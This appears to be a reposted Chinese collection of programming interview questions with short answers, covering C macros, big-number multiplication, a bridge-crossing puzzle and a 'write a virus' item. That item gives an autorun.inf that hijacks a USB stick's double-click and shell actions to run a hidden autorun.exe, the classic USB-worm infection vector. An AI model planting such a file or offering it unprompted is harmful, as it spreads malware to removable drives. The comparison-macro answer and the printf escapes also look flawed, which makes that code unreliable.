数字花招,归纳的东西好啊

来源:互联网 发布:c语言中如何定义数组 编辑:程序博客网 时间:2024/05/07 11:33
都是个人观点,非官方解答)
1、请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句
#define cmp(a, b) (( fabs( (a-b)-fabs(a-b) ) ))?0:1
这个宏只能判断两个不同大小的整数,当a>b时,返回1;当a<b时,返回0

2、如何输出源文件的标题和目前执行行的行数
此题主要考察ISO C标准的宏
printf("%s/n%d/n", __FILE__, __LINE__);
顺便说一下,凡是ISO C标准的编译器必须定义一下7个宏:
__DATE__,__FILE__,__LINE__,__TIME__,__STDC__,__STDC_HOSTED__,__STDC_VERSION__

3、两个数相乘,小数点后位数没有限制,请写一个高精度算法
用数组模拟乘法

4、写一个病毒
一个病毒的代码结构大概分为三部分:引导部分、传染部分、表现部分;
下面的内容保存为autorun.inf,放到u盘里,u盘双击就打不开了,算是个残废的病毒吧!
[autorun]
open=./RECYCLER/RECYCLER/autorun.exe
shell/1=Open
shell/1/Command=./RECYCLER/RECYCLER/autorun.exe
shell/2/=Browser
shell/2/Command=./RECYCLER/RECYCLER/autorun.exe
shellexecute=./RECYCLER/RECYCLER/autorun.exe


                                                                                                  
5、有A、B、C、D四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时1、2、5、10分钟,只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在17分钟内这四个人都过桥?
A(1)、B(2)先过去,A(1)回来:3mins
C(5)、D(10)过去,B(2)回来:12mins
A(1)、B(2)过去:2mins
total:17mins
原创粉丝点击